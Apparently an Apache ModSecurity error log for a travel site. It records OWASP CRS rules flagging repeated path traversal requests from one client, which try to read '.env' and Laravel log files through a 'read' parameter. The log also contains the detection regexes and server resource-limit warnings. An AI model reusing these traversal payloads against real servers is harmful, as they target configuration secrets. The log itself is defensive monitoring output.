"paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBOwAAABs"]
[Fri Jul 17 08:55:06.269614 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?read=../../../.env&anything=q-6CpUmsNb4MeJ3DL8L6XfSwvMETr8mE_sjBR-hlmFFwYY5pviGz7EM_9KOATl7NWW1cJWVIxY5M17SPJkzjlGG4uuGLrCNt-Lwl7SQkqRNbrvZDPu9LXTSNDO8X4IWiH_XcFFRrSCpsjiqedItt_oBVNabxrTAWc-CUmJ6su-aAGS5FJdgkxLvyw1ahqzhYbOOl7ILaLeq9jeV8W8FUYpEoF_j-b2MRj8Bxo4i082AjqDocb71CqzZ_1CMn08uP8PmKHrsqe8ZdEgM1eUWZs5em&ref=WBEHAAA3VFEMZ4BSBEFJN27BOJBUHU4B2IH427HU3AI3NQAW3G2W272DMXINYYX34ZSJ352MY4BA73UH52XKINNFGZ4E7HXCCM5W3OQFGZU5AGRFL7R7I4AC3FSRNLX6NKO4SJV74FGX3B3NOPTNJ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBOwAAABs"]
[Fri Jul 17 08:55:06.269673 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?read=../../../.env&anything=q-6cpumsnb4mej3dl8l6xfswvmetr8me_sjbr-hlmffwyy5pvigz7em_9koatl7nww1cjwvixy5m17spjkzjlgg4uuglrcnt-lwl7sqkqrnbrvzdpu9lxtsndo8x4iwih_xcffrrscpsjiqeditt_obvnabxrtawc-cumj6su-aags5fjdgkxlvyw1ahqzhybool7ilaleq9jev8w8fuypeof_j-b2mrj8bxo4i082ajqdocb71cqzz_1cmn08up8pmkhrsqe8zdegm1euwzs5em&ref=wbehaaa3vfemz4bsbefjn27bojbuhu4b2ih427hu3ai3nqaw3g2w272dmxinyyx34zsj352my4ba73uh52xkinnfgz4e7hxccm5w3oqfgzu5agrfl7r7i4ac3fsrnlx6nko4sjv74fgx3b3noptnj..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBOwAAABs"]
[Fri Jul 17 08:55:06.269709 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBOwAAABs"]
[Fri Jul 17 08:55:06.269734 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBOwAAABs"]
[Fri Jul 17 08:55:06.270946 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBOwAAABs"]
[Fri Jul 17 08:55:06.271111 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.271405 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkqquHSHoCJK_V0SBOwAAABs"]
[Fri Jul 17 08:55:06.272838 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkivekYYQ8uns4MwlHAAAAA0"]
[Fri Jul 17 08:55:06.272901 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkivekYYQ8uns4MwlHAAAAA0"]
[Fri Jul 17 08:55:06.274210 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkivekYYQ8uns4MwlHAAAAA0"]
[Fri Jul 17 08:55:06.274427 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.274772 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkivekYYQ8uns4MwlHAAAAA0"]
[Fri Jul 17 08:55:06.290178 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?read=..%2F..%2F..%2F..%2F..%2F.env&token=_kFFV5syl9Upav854gRlduaG9dApb_MTvY9aMGXI7P_wyBpLHRd_RvRFHiT-xLDJKw4JFfTEm-WcMmXxa81VsnrBbc98UG7Xg1gUxonAcbQyQaDoFsndXMwg-QGC6lhgqKcornjsPa_0uJKUwyA3hBJy9tarSG93cYCTDfOwRc6UKOzMKEiAeOhSTAkHOYbnF3soiQe-f23irc9-uvY1cchPSEY46GuMhMb_7YHM349euf3LmGufZPPoPo71S7Yo-GHs5CTizaMYTQCa2cMZnZwB&extra=NW5VLU5Y5AATWX7KD6A5OXPH5FJZNMCLKSRKNBT23WBL2YHEQBFW6XIOCC6HYD77CO7SM62AA6BNXHVDLDHMQIMSP3OT2ES3CEI3HHDL5R2WSQEMWF6GL6OFRJA7XO..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PgwAAABk"]
[Fri Jul 17 08:55:06.290240 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PgwAAABk"]
[Fri Jul 17 08:55:06.290286 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?read=../../../../../.env&token=_kFFV5syl9Upav854gRlduaG9dApb_MTvY9aMGXI7P_wyBpLHRd_RvRFHiT-xLDJKw4JFfTEm-WcMmXxa81VsnrBbc98UG7Xg1gUxonAcbQyQaDoFsndXMwg-QGC6lhgqKcornjsPa_0uJKUwyA3hBJy9tarSG93cYCTDfOwRc6UKOzMKEiAeOhSTAkHOYbnF3soiQe-f23irc9-uvY1cchPSEY46GuMhMb_7YHM349euf3LmGufZPPoPo71S7Yo-GHs5CTizaMYTQCa2cMZnZwB&extra=NW5VLU5Y5AATWX7KD6A5OXPH5FJZNMCLKSRKNBT23WBL2YHEQBFW6XIOCC6HYD77CO7SM62AA6BNXHVDLDHMQIMSP3OT2ES3CEI3HHDL5R2WSQEMWF6GL6OFRJA7XOZ4EO64WNIKFWIML64F..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PgwAAABk"]
[Fri Jul 17 08:55:06.290330 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?read=../../../../../.env&token=_kffv5syl9upav854grlduag9dapb_mtvy9amgxi7p_wybplhrd_rvrfhit-xldjkw4jfftem-wcmmxxa81vsnrbbc98ug7xg1guxonacbqyqadofsndxmwg-qgc6lhgqkcornjspa_0ujkuwya3hbjy9tarsg93cyctdfowrc6ukozmkeiaeohstakhoybnf3soiqe-f23irc9-uvy1cchpsey46gumhmb_7yhm349euf3lmgufzppopo71s7yo-ghs5ctizamytqca2cmznzwb&extra=nw5vlu5y5aatwx7kd6a5oxph5fjznmclksrknbt23wbl2yheqbfw6xiocc6hyd77co7sm62aa6bnxhvdldhmqimsp3ot2es3cei3hhdl5r2wsqemwf6gl6ofrja7xoz4eo64wnikfwiml64f..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PgwAAABk"]
[Fri Jul 17 08:55:06.290367 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PgwAAABk"]
[Fri Jul 17 08:55:06.290411 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PgwAAABk"]
[Fri Jul 17 08:55:06.291595 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkg7FYe46zHK_jL3PgwAAABk"]
[Fri Jul 17 08:55:06.291728 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.292012 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkg7FYe46zHK_jL3PgwAAABk"]
[Fri Jul 17 08:55:06.293463 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?read=..%2F..%2Fstorage%2Flogs%2Flaravel.log&token=dxBG8E0GU6FM5ZUWVUXuO2cJFh0-iIBzac9yxEDcCK7qJ4BK5_YkhGePLrgvYfmHv7MKjD34L88bA0DGLM637tkB7mkz4js1Wza90b5u_W_xGd3_JIEU6KTox3BxTfkntU7JHEb1hJwRkNlZKyq1gP5pdy_4Vexj3Id_UCNuYbs-AlSIgF4jJoFsfH_je3a6-9qYpIZW3igGtfBGSEjjZrgBrxYXWJn4yGLlhPCWXl_9u33jCciB7AFn4wImRb1tDGBvYXyZnCjFe8karEowQ9Xh&extra=EXSVIPS7J7DY6SNTV2BEX27W4F33DOHXFHGCHNDYJDDH6FIFGOSMGYQGD7454Y4FDQFUXB4526KMFKH5ZF4NMPCPVJDY5PHJYIOAHKVYTO5JXSV5UUAZY..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zUAAAAAE"]
[Fri Jul 17 08:55:06.293505 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zUAAAAAE"]
[Fri Jul 17 08:55:06.293564 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?read=../../storage/logs/laravel.log&token=dxBG8E0GU6FM5ZUWVUXuO2cJFh0-iIBzac9yxEDcCK7qJ4BK5_YkhGePLrgvYfmHv7MKjD34L88bA0DGLM637tkB7mkz4js1Wza90b5u_W_xGd3_JIEU6KTox3BxTfkntU7JHEb1hJwRkNlZKyq1gP5pdy_4Vexj3Id_UCNuYbs-AlSIgF4jJoFsfH_je3a6-9qYpIZW3igGtfBGSEjjZrgBrxYXWJn4yGLlhPCWXl_9u33jCciB7AFn4wImRb1tDGBvYXyZnCjFe8karEowQ9Xh&extra=EXSVIPS7J7DY6SNTV2BEX27W4F33DOHXFHGCHNDYJDDH6FIFGOSMGYQGD7454Y4FDQFUXB4526KMFKH5ZF4NMPCPVJDY5PHJYIOAHKVYTO5JXSV5UUAZY2MFMN27QURJWJSB7..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zUAAAAAE"]
[Fri Jul 17 08:55:06.293590 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?read=../../storage/logs/laravel.log&token=dxbg8e0gu6fm5zuwvuxuo2cjfh0-iibzac9yxedcck7qj4bk5_ykhgeplrgvyfmhv7mkjd34l88ba0dglm637tkb7mkz4js1wza90b5u_w_xgd3_jieu6ktox3bxtfkntu7jheb1hjwrknlzkyq1gp5pdy_4vexj3id_ucnuybs-alsigf4jjofsfh_je3a6-9qypizw3iggtfbgsejjzrgbrxyxwjn4ygllhpcwxl_9u33jccib7afn4wimrb1tdgbvyxyzncjfe8kareowq9xh&extra=exsvips7j7dy6sntv2bex27w4f33dohxfhgchndyjddh6fifgosmgyqgd7454y4fdqfuxb4526kmfkh5zf4nmpcpvjdy5phjyioahkvyto5jxsv5uuazy2mfmn27qurjwjsb7..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zUAAAAAE"]
[Fri Jul 17 08:55:06.293610 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zUAAAAAE"]
[Fri Jul 17 08:55:06.293664 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zUAAAAAE"]
[Fri Jul 17 08:55:06.294854 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkuYpb_TFRze2EO3zUAAAAAE"]
[Fri Jul 17 08:55:06.294880 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:read: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTS_gAAAAM"]
